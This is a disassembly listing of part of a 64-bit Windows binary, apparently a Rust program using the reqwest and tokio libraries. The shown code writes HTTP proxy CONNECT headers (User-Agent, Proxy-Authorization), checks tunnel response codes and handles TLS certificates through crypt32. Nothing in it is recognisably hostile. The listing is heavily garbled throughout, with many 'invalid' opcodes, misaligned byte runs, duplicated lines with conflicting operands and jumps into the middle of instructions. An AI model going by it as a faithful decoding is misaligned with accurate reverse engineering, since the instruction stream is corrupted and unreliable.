movaps xmmword [rsp + 0x270], xmm1
adc byte [rdi], cl
sub dword [rsp + 0x270], ecx
movaps xmmword [rsp + 0x260], xmm0
mov rax, qword [rsi + 0x5f8]
add byte [rbx + rcx*4 - 0x5a], cl
or byte [rsi], al
add byte [rax], al
add byte [rbx + rcx*4 - 0x5a], cl
or byte [rsi], al
add byte [rax], al
sub rax, r12
mov r14, r13
cmp rax, 0xb
jbe 0x1400abd7f
mov rax, qword [rsi + 0x600]
movabs rcx, 0x6567412d72657355
mov qword [rax + r12], rcx
mov dword [rax + r12 + 8], 0x203a746e
add r12, 0xc
mov qword [rsi + 0x608], r12
mov rdx, qword [rsp + 0x268]
mov r13, qword [rsp + 0x270]
mov rax, qword [rsi + 0x5f8]
sub rax, r12
cmp rax, r13
jb 0x1400abda0
mov rcx, qword [rsi + 0x600]
add rcx, r12
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add r12, r13
mov qword [rsi + 0x608], r12
mov rax, qword [rsi + 0x5f8]
sub rax, r12
sub eax, esp
sub eax, esp
cmp rax, 1
jbe 0x1400abdc8
mov r13, r14
mov rax, qword [rsi + 0x600]
mov word [rax + r12], 0xa0d
mov dword [rax + riz], 0x83490a0d
invalid
add cl, byte [rcx + rcx*4 - 0x5a]
or byte [rsi], al
add byte [rax], al
lea rcx, [rsp + 0x278]
mov rax, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x268]
push 0x4c000002
mov eax, dword [rsp + 0x270]
call qword [rax + 0x10]
mov r14, rdi
mov dword [rax + riz], 0x83490a0d
invalid
cmp byte [rsi + 0x5f0], 2
je 0x1400abc10
mov rdi, r14
lea rax, [rsi + 0x5d0]
mov byte [rsi + 0x615], 0
mov rcx, qword [rax + 0x20]
mov qword [rsp + 0x280], rcx
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
mov rax, qword [rsi + 0x5f8]
mov r12, qword [rsi + 0x608]
sub rax, r12
mov r14, r13
cmp rax, 0x14
jbe 0x1400abde9
mov rax, qword [rsi + 0x600]
movups xmm0, xmmword [str.Proxy_Authorization:]
movups xmmword [rax + r12], xmm0
movabs rcx, 0x203a6e6f6974617a
mov qword [rax + r12 + 0xd], rcx
add r12, 0x15
mov qword [rsi + 0x608], r12
mov rdx, qword [rsp + 0x268]
mov r13, qword [rsp + 0x270]
mov rax, qword [rsi + 0x5f8]
sub rax, r12
cmp rax, r13
jb 0x1400abe0a
mov rcx, qword [rsi + 0x600]
add rcx, r12
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add r12, r13
mov qword [rsi + 0x608], r12
mov rax, qword [rsi + 0x5f8]
sub rax, r12
cmp rax, 1
jbe 0x1400abe32
add byte [rax - 0x75], cl
xchg al, bh
add eax, 0x294c0000
loopne 0x1400abc0d
mov r13, r14
mov rax, qword [rsi + 0x600]
mov word [rax + r12], 0xa0d
add r12, 2
mov qword [rsi + 0x608], r12
lea rcx, [rsp + 0x278]
mov rax, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x268]
mov r8, qword [rsp + 0x270]
call qword [rax + 0x10]
mov r14, rdi
mov rax, qword [rsi + 0x5f8]
mov r9, qword [rsi + 0x608]
sub rax, r9
cmp rax, 1
jbe 0x1400abd5e
mov rax, qword [rsi + 0x600]
mov word [rax + r9], 0xa0d
add r9, 2
xchg byte [rax], al
invalid
mov qword [rsi + 0x608], r9
mov rax, qword [rsi + 0x600]
mov eax, dword [rsi + 0x600]
mov eax, dword [rsi + 0x600]
mov qword [rsi + 0x618], r15
mov qword [rsi + 0x620], rax
and byte [rsi], al
add byte [rax], al
and byte [rsi], al
add byte [rax], al
mov qword [rsi + 0x628], r9
invalid
lea r15, [0x14016f768]
movabs rdi, 0x1700000003
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rbp - 0x7b], cl
leave
test r9, r9
je 0x1400abd1e
mov rcx, qword [rsi + 0x618]
mov r8, qword [rsi + 0x620]
add byte [rax], al
invalid
add byte [rax], al
cmp dword [rcx], 2
jne 0x1400abcb0
add rcx, 8
mov rdx, rbx
call fcn.1400e7c20
mov edi, 0x83480003
clc
add dh, byte [rbp + 0x10]
mov edi, 0x83480003
clc
add dh, byte [rbp + 0x10]
jmp 0x1400abd0b
mov rdx, rbx
call fcn.1400af850
cmp rax, 2
cmp eax, 2
cmp eax, 2
je 0x1400abd0b
test rax, rax
jne 0x1400abd12
mov rax, qword [rsi + 0x620]
mov r9, qword [rsi + 0x628]
add byte [rbx + rcx*4 - 0x72], cl
sub byte [rsi], al
add byte [rax], al
mov qword [rsi + 0x620], r15
mov qword [rsi + 0x628], 0
add byte [rax], al
add byte [rax], al
sub r9, rdx
jb 0x1400abe53
add rax, rdx
add eax, edx
mov qword [rsi + 0x620], rax
mov qword [rsi + 0x628], r9
test rdx, rdx
jne 0x1400abc80
invalid
invalid
jmp 0x1400ac01a
mov al, 3
jmp 0x1400abf0a
mov rdi, rdx
test rdx, rdx
jne 0x1400ac01a
invalid
lea rcx, [rsi + 0x638]
xor r15d, r15d
mov r8d, 0x2000
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [rsi + 0x618], 0
jmp 0x1400abfe3
adc byte [rax], al
add al, ch
mov fs, word [rsi]
add byte [rax], al
lea r12, [0x14013a130]
jmp 0x1400ac325
lea rcx, [rsi + 0x5f8]
mov r8d, 2
clc
add eax, 0xb8410000
add al, byte [rax]
add byte [rax], al
mov rdx, r9
call fcn.140104c70
mov r9, qword [rsi + 0x608]
jmp 0x1400abc2b
lea rcx, [rsi + 0x5f8]
mov r8d, 0xc
mov rdx, r12
call fcn.140104c70
mov r12, qword [rsi + 0x608]
jmp 0x1400aba31
lea rcx, [rsi + 0x5f8]
mov qword [rsp + 0x30], rdx
mov rdx, r12
mov r8, r13
call fcn.140104c70
mov rdx, qword [rsp + 0x30]
mov r12, qword [rsi + 0x608]
jmp 0x1400aba7d
lea rcx, [rsi + 0x5f8]
add byte [rax], al
mov r8d, 2
mov rdx, r12
call fcn.140104c70
mov r12, qword [rsi + 0x608]
jmp 0x1400abaad
invalid
cld
invalid
invalid
invalid
add eax, 0xb8410000
adc eax, 0x4c000000
mov edx, esp
call fcn.140104c70
mov r12, qword [rsi + 0x608]
jmp 0x1400abb4e
lea rcx, [rsi + 0x5f8]
mov qword [rsp + 0x30], rdx
mov rdx, r12
mov r8, r13
call fcn.140104c70
mov rdx, qword [rsp + 0x30]
mov r12, qword [rsi + 0x608]
jmp 0x1400abb9e
lea rcx, [rsi + 0x5f8]
mov r8d, 2
mov rdx, r12
call fcn.140104c70
mov r12, qword [rsi + 0x608]
cmpsb byte [rsi], byte [rdi]
or byte [rsi], al
add byte [rax], al
jmp 0x1400abbce
invalid
invalid
invalid
lea rax, str.mid___len
mov qword [rsp + 0x260], rax
add byte [rax - 0x39], cl
test byte [rax + rbp*2], ah
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x70
add al, byte [rax]
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test byte [rax + rdi*2], ah
js case.0x1400aa870.6
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + riz*2], ah
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rbp*2], ah
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x70
add al, byte [rax]
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test byte [rax + rdi*2], ah
js case.0x1400aa870.6
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcioutilwrite_all.rsx
js case.0x1400aa870.6
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcioutilwrite_all.rsx
lea rcx, [rsp + 0x260]
call fcn.140104620
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
or dword ds:[rax], eax
call fcn.140104c30
lea rcx, [0x14013a500]
call fcn.140104c30
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
call fcn.140104c30
mov ecx, 1
mov rdx, r15
call fcn.140104360
mov qword [rsp + 0x260], rdx
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x270], 0
mov qword [rsp + 0x278], rax
cmp dword [rcx], 2
jne 0x1400abf12
invalid
and ecx, dword [rax - 0x7d]
ror dword [rax], 0x4c
lea eax, [rsp + 0x260]
add rcx, 8
lea r8, [rsp + 0x260]
mov rdx, rbx
call fcn.1400e7950
add byte [rax - 0x7b], cl
invalid
je 0x1400abf27
add byte [rax - 0x7b], cl
sal byte [rdi + rbx - 0x50], 4
mov al, 4
mov byte [rbp], al
jmp 0x1400ac2f0
lea r8, [rsp + 0x260]
mov rdx, rbx
call fcn.1400afb90
test rax, rax
jne 0x1400abf08
invalid
test rdx, rdx
jne 0x1400ac017
mov rdx, qword [rsp + 0x268]
mov r15, qword [rsp + 0x270]
cmp r15, rdx
ja 0x1400ad656
test r15, r15
je 0x1400ac048
add r15, qword [rsi + 0x618]
mov qword [rsi + 0x618], r15
add byte [rax], al
add byte [rax], al
cmp r15, 0x2001
jae 0x1400ad665
cmp r15, 0xc
jb 0x1400ac177
invalid
add byte [rdx], al
add byte [rax], al
invalid
invalid
add byte [rax - 0x48], cl
push rsp
push rsp
push rax
invalid
movabs rax, 0x312e312f50545448
mov rcx, qword [rsi + 0x638]
add byte [rax], al
add byte [rax], al
xor rcx, rax
mov edx, dword [rsi + 0x640]
invalid
add byte [rax], al
xor rdx, 0x30303220
or rdx, rcx
je 0x1400abfc4
invalid
movabs rcx, 0x302e312f50545448
xor rcx, qword [rsi + 0x638]
mov edx, dword [rsi + 0x640]
xor rdx, 0x30303220
or rdx, rcx
jne 0x1400ac15a
cmp dword [rsi + r15 + 0x634], 0xa0d0a0d
je 0x1400ac0b3
cmp r15, 0x2000
je 0x1400ac0ee
lea rcx, [rsi + 0x468]
mov eax, 0x2000
push 0xffffffffb8000004
add byte [rax], ah
add byte [rax], al
sub rax, r15
lea rdx, [rsi + r15]
add rdx, 0x638
mov qword [rsi + 0x620], rcx
mov dword [rsi + 0x620], ecx
mov dword [rsi + 0x620], ecx
mov qword [rsi + 0x628], rdx
mov qword [rsi + 0x630], rax
jmp 0x1400abec6
mov rdi, rdx
movzx eax, byte [0x14017d2b0]
mov edx, 8
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400ad691
mov r15, rax
mov qword [rax], rdi
lea r12, [0x140139b18]
jmp 0x1400ac1e0
add byte [rax], al
add byte [rax], al
movzx eax, byte [0x14017d2b0]
mov edx, 0x1e
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400ad715
mov r12, rax
movups xmm0, xmmword [0x14013ff4f]
movups xmmword [rax + 0xe], xmm0
movups xmm0, xmmword [0x14013ff41]
movups xmmword [rax], xmm0
movzx eax, byte [0x14017d2b0]
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400ad6ad
add byte [rax], al
invalid
add byte [rax], al
mov r15, rax
mov qword [rax], 0x1e
mov qword [rax + 8], r12
mov qword [rax + 0x10], 0x1e
jmp 0x1400ac1d9
mov byte [rsi + 0x617], 0
mov rdi, qword [rsi + 0x468]
mov r15, qword [rsi + 0x470]
mov r12, qword [rsi + 0x478]
lea rdx, [rsi + 0x480]
lea rcx, [rsp + 0x1040]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400ac1e5
movzx eax, byte [0x14017d2b0]
mov edx, 0x21
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je case.0x140092aab.166
sbb dl, byte [rsi]
add byte [rax], al
sbb dl, byte [rsi]
add byte [rax], al
mov r12, rax
movups xmm0, xmmword [0x14013ff30]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x14013ff20]
movups xmmword [rax], xmm0
mov byte [rax + 0x20], 0x6c
movzx eax, byte [0x14017d2b0]
adc dword [0x140237b30], ecx
add byte [rax], al
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400ad6ad
mov r15, rax
mov qword [rax], 0x21
mov qword [rax + 8], r12
mov qword [rax + 0x10], 0x21
jmp 0x1400ac1d9
xor rax, qword [rsi + 0x638]
mov ecx, dword [rsi + 0x640]
xor rcx, 0x37303420
or rcx, rax
je 0x1400ad5ef
movzx eax, byte [0x14017d2b0]
mov edx, 0x13
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400ad706
mov r12, rax
movups xmm0, xmmword [str.unsuccessful_tunnelproxy_authentication_requiredproxy_headers_too_long_for_tunnelunexpected_eof_while_tunneling]
movups xmmword [rax], xmm0
mov dword [rax + 0xf], 0x6c656e6e
movzx eax, byte [0x14017d2b0]
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400ad6ad
mov r15, rax
mov qword [rax], 0x13
mov qword [rax + 8], r12
mov qword [rax + 0x10], 0x13
lea r12, [0x14013a130]
mov edi, 3
cmp qword [rsi + 0x5f8], 0
je 0x1400ac205
mov r8, qword [rsi + 0x600]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp byte [rsi + 0x5f0], 2
je 0x1400ac236
cmp byte [rsi + 0x615], 0
je 0x1400ac236
mov rax, qword [rsi + 0x5d0]
mov rdx, qword [rsi + 0x5d8]
mov r8, qword [rsi + 0x5e0]
add bh, bh
push rax
invalid
add eax, 0x8b480000
xchg esi, eax
fadd dword [0xcb56c22e]
xchg al, ah
add eax, 0x50ff0000
add bh, bh
push rax
add bh, bh
push rax
adc dh, al
xchg byte [0x1400ac243], dl
mov byte [rsi + 0x615], 0
cmp byte [rsi + 0x5c8], 2
je 0x1400ac26e
cmp byte [rsi + 0x616], 0
je 0x1400ac26e
lea rcx, [rsi + 0x5c0]
mov rax, qword [rsi + 0x5a8]
rol byte [0xcb52c259], 0x86
test al, 5
add byte [rax], al
mov rdx, qword [rsi + 0x5b0]
mov r8, qword [rsi + 0x5b8]
call qword [rax + 0x10]
mov byte [rsi + 0x616], 0
cmp qword [rsi + 0x590], 0
je 0x1400ac295
add byte [rax], al
add byte [rax - 0x7d], cl
mov esi, 0x590
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rsi + 0x598]
cwde
invalid
add byte [rax], al
mov r8, qword [rsi + 0x598]
cwde
add eax, 0x8b480000
or eax, 0xd0f7b
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
xor dword [rsi], eax
invalid
xor dword [rsi], eax
add byte [rax + 0x617be], al
add byte [rax], al
cmp byte [rsi + 0x617], 0
je 0x1400ac2c1
cmp dword [rsi + 0x468], 2
jne 0x1400ac2b5
add byte [rax], al
add dh, byte [rbp + 0xe]
lea rcx, [rsi + 0x470]
call fcn.1400adf40
jmp 0x1400ac2c1
lea rcx, [rsi + 0x468]
call fcn.1400ae3e0
and dword [rax], eax
invalid
and dword [rax], eax
add dh, al
mov byte [rsi + 0x617], 0
lea rcx, [rsp + 0x520]
lea rdx, [rsp + 0x1040]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memcpy
add dh, al
xchg byte [rsi + rax], dl
add byte [rax], al
add dword [rax - 0x7d], ecx
invalid
add al, 0x75
invalid
xchg byte [rdi], dl
invalid
add dh, al
xchg byte [rsi + rax], dl
add byte [rax], al
add dword [rax - 0x7d], ecx
inc dword [rsi*2 + 0x45c6410c]
adc dword [r11], r8d
mov byte [r13 + 0x11], 3
adc dword [r11], r8d
mov al, 4
jmp 0x1400ad43f
lea rcx, [rsp + 0x1d38]
add byte [rax], al
lea rdx, [rsp + 0x520]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r14
call fcn.1400ada60
add byte [rax - 0x7d], cl
inc dword [rbx]
add byte [rax - 0x7d], cl
inc dword [rbx]
jne 0x1400ac32d
mov dil, 2
jmp 0x1400ad301
lea rcx, [rsp + 0xce0]
lea ecx, [rsp + 0xce0]
lea rdx, [rsp + 0x1d38]
mov r8d, 0x110
mov eax, 0x110
mov eax, 0x110
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + 0x2d3], 1
mov qword [rsp + 0xcc8], rdi
and al, 0xc8
or al, 0
add byte [rcx + rcx*4 - 0x44], cl
and al, 0xd0
or al, 0
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0xd8
or al, 0
add byte [rax - 0x75], cl
mov esi, 0x278
and al, 0xc8
or al, 0
add byte [rcx + rcx*4 - 0x44], cl
and al, 0xd0
or al, 0
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0xd8
or al, 0
add byte [rax - 0x75], cl
mov esi, 0x278
cmp qword [rdi], 0
je 0x1400ac389
mov rcx, qword [rdi + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r15, rax
mov r12d, 1
mov esp, 1
jmp 0x1400ac38c
xor r12d, r12d
mov rcx, qword [rdi + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
movzx ecx, word [rdi + 0x1c]
mov edx, dword [rdi + 0x18]
mov qword [rsi + 0x9c0], r12
mov qword [rsi + 0x9c8], r15
mov qword [rsi + 0x9d0], rax
ror byte [rcx], 1
add byte [rax], al
ror byte [rcx], 1
add byte [rax], al
mov dword [rsi + 0x9d8], edx
mov word [rsi + 0x9dc], cx
mov r15, qword [rsi + 0x280]
add byte [rdx], 0
add byte [rbp - 0x7b], cl
dec dword [rdi]
test byte [rdi + 5], al
add byte [rax], al
add byte [rdx], 0
add byte [rbp - 0x7b], cl
dec dword [rdi]
test byte [rdi + 5], al
add byte [rax], al
lea r12, [rsi + 0x9c0]
mov rdi, qword [rsi + 0x288]
mov byte [rsi + 0x2d3], 0
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0xcc8]
mov r8d, 0x128
mov rcx, r14
call sub.VCRUNTIME140.dll_memmove
mov qword [rsi + 0x400], r12
mov qword [rsi + 0x408], r15
mov qword [rsi + 0x410], rdi
lea rcx, [rsi + 0x418]
lea rdx, [rsp + 0x1040]
mov r8d, 0x5a0
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsi + 0x9b8]
add byte [rax], al
add byte [rax], al
mov byte [rsi + 0x9b8], 0
mov eax, 9
lea rdx, [rsi + 0x2d8]
movq xmm0, r15
movq xmm6, r12
mov r12, rax
punpcklqdq xmm6, xmm0
invalid
invalid
lea rcx, [rsi + 0x418]
mov r8d, 0x128
sbb byte [rax + rax], al
add byte [rcx - 0x48], al
sub byte [rcx], al
add byte [rax], al
mov qword [rsp + 0xb0], rdx
call sub.VCRUNTIME140.dll_memcpy
movdqu xmmword [rsi + 0x540], xmm6
xchg esp, eax
and al, 0xb0
add byte [rax], al
add al, ch
mov word [rbx + 5], gs
add bl, dh
movq qword [rsi + 0x540], mm6
mov qword [rsi + 0x550], rdi
mov dword [rsi + 0x550], edi
lea rax, [rsi + 0x788]
mov qword [rsp + 0xa8], rax
mov byte [rsi + 0x788], 0
lea rdx, [rsi + 0x418]
mov byte [rsi + 0x789], 0
mov rax, qword [rsi + 0x550]
xchg byte [rax + 5], dl
add byte [rax], al
xchg byte [rax + 5], dl
add byte [rax], al
mov qword [rsp + 0x888], rax
movups xmm0, xmmword [rsi + 0x540]
add eax, 0x110f0000
test byte [rax + rdi*2], ah
or byte [rax], al
add byte [rbp + rcx*4 - 0x4c], cl
and al, 0x50
push rax
invalid
add byte [rax], al
mov r8d, 0x128
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
add eax, 0xbc8d4c00
and al, 8
invalid
add byte [rax], al
mov r8d, 0x140
mov rcx, r15
mov rdx, r14
mov edx, esi
push rax
invalid
add eax, 0xbc8d4c00
and al, 8
invalid
mov edx, esi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsi + 0x790]
mov r8d, 0x140
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x30], r12
mov rbp, qword [rsi + 0x790]
mov r14, qword [rsi + 0x8b8]
mov rax, qword [rsi + 0x8c0]
mov rcx, qword [rsi + 0x8c8]
mov qword [rsi + 0x790], 3
cmp rbp, 3
je 0x1400ad679
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
lea rdx, [rsi + 0x798]
lea rcx, [rsp + 0x988]
mov r8d, 0x120
mov qword [rsp + 0xd0], rdx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x980], rbp
mov qword [rsp + 0xaa8], rbx
movabs rdi, 0x8000000000000000
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 8
mov qword [rsp + 0x60], 0
movzx eax, byte [r14 + 0x1c]
movzx ecx, byte [r14 + 0x1d]
lea edx, [rcx + 1]
cmp cl, 4
movzx edx, dl
mov ecx, 4
cmovb ecx, edx
movzx r12d, cl
cmp al, 5
mov qword [rsp + 0x28], r13
jne 0x1400ac5d3
lea r15, [0x140138898]
jmp 0x1400ac5f3
xor edx, edx
cmp cl, al
movzx eax, al
cmovb eax, edx
movzx eax, al
lea r15, [0x140138898]
add r15, rax
sub r12, rax
je 0x1400ac873
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
leave
leave
mov rdx, r12
call fcn.1400e0010
test rax, rax
je 0x1400ad6a0
mov r13, rax
invalid
mov rcx, r13
mov rdx, r15
mov r8, r12
mov eax, esp
mov eax, esp
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x80], r12
add byte [rax], al
add byte [rcx + rcx*4 - 0x54], cl
and al, 0x88
add byte [rax], al
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0x90
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
invalid
je 0x1400ac675
add byte [rax], al
add byte [rcx + rcx*4 - 0x54], cl
and al, 0x88
add byte [rax], al
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0x90
add byte [rax], al
add byte [rcx - 0x7d], cl
add byte ds:[rcx + rdi + 0x49], dh
mov ecx, dword [rsi + 8]
invalid
mov rcx, qword [r14 + 8]
or bh, bh
adc eax, 0x62b72
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r15, rax
mov rax, qword [rsp + 0x60]
cmp rax, qword [rsp + 0x50]
jne 0x1400ac664
lea rcx, [rsp + 0x50]
call fcn.1400cf300
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
mov qword [rcx + rax*8], r15
inc rax
ror byte [rax - 0x77], 0x44
and al, 0x60
ror byte [rax - 0x77], 0x44
and al, 0x60
lea rcx, [rsp + 0x50]
call fcn.1400cf450
mov r12, rdx
test rax, rax
test eax, eax
test eax, eax
je 0x1400ac6c4
mov rax, qword [rsp + 0x68]
shl rax, 1
test rax, rax
jne case.0x140071b87.249
mov rax, qword [rsp + 0x80]
shl rax, 1
test rax, rax
and al, 0x80
add byte [rax], al
add byte [rax - 0x2f], cl
loopne 0x1400ac6ec
test eax, eax
jne 0x1400ac7e7
mov r14, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
test rdi, rdi
test edi, edi
test edi, edi
jne 0x1400ac80d
jmp 0x1400ac82f
mov qword [rsp + 0xe8], rdi
mov word [rsp + 0x128], 1
and al, 0x28
add dword [rax], eax
add byte [rcx], al
add byte [rax - 0x39], cl
test byte [rax + rbx], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0xd8], 0
and al, 0x28
add dword [rax], eax
add byte [rcx], al
add byte [rax - 0x39], cl
test byte [rax + rbx], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0xd8], 0
mov qword [rsp + 0x100], rdi
mov rcx, qword [r14 + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
invalid
mov dword [rsp + 0xd8], 0
add byte [rax], al
mov qword [rsp + 0x100], rdi
mov dword [rsp + 0x100], edi
mov rcx, qword [r14 + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
invalid
add byte [rcx - 0x77], cl
invalid
mov r15, rax
cmp qword [rsp + 0xd8], 0
je 0x1400ac71e
mov rcx, qword [rsp + 0xe0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov qword [rsp + 0xd8], 1
mov dword [rsp + 0xd8], 1
mov qword [rsp + 0xe0], r15
lea rcx, [rsp + 0xd8]
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
call fcn.1400cf670
movzx ebp, byte [r14 + 0x18]
mov byte [rsp + 0x128], bpl
movzx eax, byte [r14 + 0x19]
mov byte [rsp + 0x129], al
cmp byte [r14 + 0x1a], 0
je 0x1400ac881
movzx eax, byte [0x14017d2b0]
mov edx, 0x10
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je case.0x14009a63c.97
add byte [rax - 0x39], cl
or byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rbx], fs
add dword [rax], eax
add byte [rax - 0x7b], cl
leave
je 0x1400ac90a
lock dec qword [rcx]
lea r14, [0x14013ec90]
add byte [rdi], cl
test byte [rax], dh
add dword [rax], eax
invalid
jmp 0x1400ac9a6
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x14017d208]
cmp eax, 0x31000d0a
sar bh, cl
adc eax, 0x62c2d
mov rax, qword [rsp + 0x80]
shl rax, 1
test rax, rax
je 0x1400ac6ac
invalid
invalid
invalid
invalid
mov r8, qword [rsp + 0x88]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
test rdi, rdi
je 0x1400ac82f
xor r15d, r15d
mov r13, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop word [rax + rax]
mov rcx, qword [r14 + r15*8]
inc r15
call r13
cmp rdi, r15
jne 0x1400ac820
cmp qword [rsp + 0x50], 0
je 0x1400ac849
mov r13d, 1
xor r12d, r12d
jmp 0x1400ac610
cmp byte [r14 + 0x1b], 0
je 0x1400ac9be
call fcn.1400e0010
test rax, rax
je 0x1400ad6ad
add byte [rax - 0x39], cl
or byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 + 0x70], cl
adc byte [rax - 0x75], cl
mov word [rax + rbx], fs
add dword [rax], eax
add byte [rax - 0x7b], cl
leave
je 0x1400ac99f
add byte [rax], al
lock dec qword [rcx]
lea r14, [0x14013ecf0]
jne 0x1400ac9a6
mov rcx, qword [rsp + 0x118]
mov rdx, qword [rsp + 0x120]
mov r15, rax
call fcn.1400049d0
mov rax, r15
jmp 0x1400ac9a6
lea r14, [0x14013ec90]
jmp 0x1400ac9a6
movzx eax, byte [0x14017d2b0]
mov edx, 0xe
or eax, 0xeba00
add byte [rax], al
xor ecx, ecx
call fcn.1400e0010
test rax, rax
ror byte [rdi], 0x84
invalid
invalid
add byte [rax], al
ror byte [rdi], 0x84
ror byte [0xc952c935], 0xc3
or eax, 0x89480000
ret
or eax, 0x89480000
ret
mov rbx, rax
movabs rax, 0x6c7275206e692074
mov qword [rbx + 6], rax
movabs rax, 0x2074736f68206f6e
je 0x1400ac96d
mov qword [rbx], rax
movzx eax, byte [0x14017d2b0]
mov edx, 0x18
add byte [rcx], dh
leave
je 0x1400ac96d
add byte [rcx], dh
leave
call fcn.1400e0010
lodsd eax, dword [rsi]
add eax, dword ss:[rax]
test rax, rax
je 0x1400ad6ad
invalid
add byte [rcx - 0x77], cl
invalid
mov r15, rax
mov qword [rax], 0xe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], 0xe
mov dword [rax + 0x10], 0xe
mov dword [rax + 0x10], 0xe
add byte [rax], al
add byte [rbp + rcx*4 + 0x25], cl
cmpsd dword [rsi], dword [rdi]
xlatb
or byte [rax], al
lea r12, [0x14013a130]
mov dil, 2
cmp qword [rsi + 0x9c0], 0
ror byte [rcx], 0
add byte [rax], al
ror byte [rcx], 0
add byte [rax], al
jne 0x1400ad2b6
jmp 0x1400ad2c3
and al, 9
add byte [rax], al
lea r14, [0x14013ecf0]
mov qword [rsp + 0x118], rax
mov dword [rsp + 0x118], eax
add dword [rax], eax
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0x20
add dword [rax], eax
add byte [rdi], cl
mov qword [rsp + 0x120], r14
movzx ebp, byte [rsp + 0x128]
mov dh, 0xac
and al, 0x28
add dword [rax], eax
add byte [rbp + rcx*4 - 0x4c], cl
and al, 0
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
or al, byte [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x80
or dword [rax], eax
add byte [rcx - 0x48], al
mov eax, 0x130
mov dh, 0xac
and al, 0x28
add dword [rax], eax
add byte [rbp + rcx*4 - 0x4c], cl
and al, 0
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
or al, byte [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x80
or dword [rax], eax
add byte [rcx - 0x48], al
mov eax, 0x130
mov eax, 0x130
add al, ch
adc al, 0x66
add eax, 0xbc8b4c00
and al, 0xe8
add byte [rax], al
add byte [rax], al
xor eax, eax
mov r8d, 0
add byte [rax], al
test bpl, bpl
